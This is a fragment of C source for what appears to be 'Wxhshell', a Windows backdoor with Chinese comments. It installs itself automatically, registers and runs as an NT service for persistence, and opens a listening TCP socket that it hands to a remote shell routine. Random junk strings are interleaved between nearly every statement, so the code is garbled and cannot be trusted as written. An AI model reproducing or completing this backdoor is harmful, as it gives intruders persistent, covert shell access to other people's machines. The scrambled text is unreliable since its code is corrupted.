~s_E CloseHandle(hProcess); 2q2p=H>& ju8',ZC if(strstr(procName,"services")) return 1; // 以服务启动 &gY;`*< THrc
H return 0; // 注册表启动 (k7; } EG'7}W i)A`Vpn // 主模块 \W3+VG2cA int StartWxhshell(LPSTR lpCmdLine) I@8+k&nXS { ~Da
>{zHt SOCKET wsl; m~Lf^gbG? BOOL val=TRUE; !X \Sp} int port=0; U)&H.^@r$ struct sockaddr_in door; 1C^HCIH7J dbf^A1HI if(wscfg.ws_autoins) Install(); 7AZ5%o WyKUvVi port=atoi(lpCmdLine); ucIVVT(u `DU'wB
if(port<=0) port=wscfg.ws_port; yb@X*PW/z K8yWg\K WSADATA data; o+)m}'T8 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n?TO!5RZK IqR[&T)lj if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; =RCfibT!C setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e#76h; door.sin_family = AF_INET; I1eb31< door.sin_addr.s_addr = inet_addr("127.0.0.1"); LH?gJ8` door.sin_port = htons(port); MY0[Oq cm= ND)M3qp2( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { brpN>\ closesocket(wsl); ijR-?nrR return 1; @E&X&F% } m%BMd |r<.R> if(listen(wsl,2) == INVALID_SOCKET) { YQfZiz}Fv closesocket(wsl); 93zlfLS0 return 1; o$qFa9|Ec? } {4V:[*3 Wxhshell(wsl); K2vPj| WSACleanup(); !T&u2=`D 9e :d2 return 0; rsq'60
t`&s } EP%
M8 Q>+_W2~] // 以NT服务方式启动 FHnHhB [ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FrE/K_L { +(=[M]5#n DWORD status = 0; ":ws~Zep DWORD specificError = 0xfffffff; QVA!z## G1n>@Y'j'' serviceStatus.dwServiceType = SERVICE_WIN32; \C'I l
w serviceStatus.dwCurrentState = SERVICE_START_PENDING; 'KN!m|
z serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *<
SU_dAh serviceStatus.dwWin32ExitCode = 0; U%SNROj serviceStatus.dwServiceSpecificExitCode = 0; %CfTqbB serviceStatus.dwCheckPoint = 0; !UPAEA serviceStatus.dwWaitHint = 0; :L+zUlsf r:S5x. P2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T J"{nB if (hServiceStatusHandle==0) return; fSb@7L RAXJsF^5o status = GetLastError(); qgY(S}V if (status!=NO_ERROR) _|2";.1E { g]hn@{[ serviceStatus.dwCurrentState = SERVICE_STOPPED; [+[fD serviceStatus.dwCheckPoint = 0; 7C6BZ$( serviceStatus.dwWaitHint = 0; %%-Tjw o serviceStatus.dwWin32ExitCode = status; 9"l%tq_ serviceStatus.dwServiceSpecificExitCode = specificError; 9ixnf=$Jp SetServiceStatus(hServiceStatusHandle, &serviceStatus); G#=b6DB return; oU{-B$w } 8i+jFSZ$ C ^ k3* N serviceStatus.dwCurrentState = SERVICE_RUNNING; v(WL 3[y; serviceStatus.dwCheckPoint = 0; u>-uRz<)t serviceStatus.dwWaitHint = 0; rBL_]\$7} if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D/!G]hx } :O2v0Kx ]`+"o[ // 处理NT服务事件,比如:启动、停止 ?2
O-EiWjZ VOID WINAPI NTServiceHandler(DWORD fdwControl) J5r
L7 { #on fac- 3 switch(fdwControl) Xwn|. { N6 Cc%, case SERVICE_CONTROL_STOP: m]b.P,~v serviceStatus.dwWin32ExitCode = 0; jl|X$w serviceStatus.dwCurrentState = SERVICE_STOPPED; i=+<7]Q serviceStatus.dwCheckPoint = 0; P24 serviceStatus.dwWaitHint = 0; [+5SEr} { l'X?S(fiV SetServiceStatus(hServiceStatusHandle, &serviceStatus); :r[-7
[/ } '"NdT7* + return; JZ*?1S> case SERVICE_CONTROL_PAUSE: ,@j&q serviceStatus.dwCurrentState = SERVICE_PAUSED; ), x3tTR break; S&g- case SERVICE_CONTROL_CONTINUE: <
oG\)!O serviceStatus.dwCurrentState = SERVICE_RUNNING; 3jQ$72_ break; @C6DOB case SERVICE_CONTROL_INTERROGATE: ?%TM7Z4 break; -
&LZle&M }; I5 7< |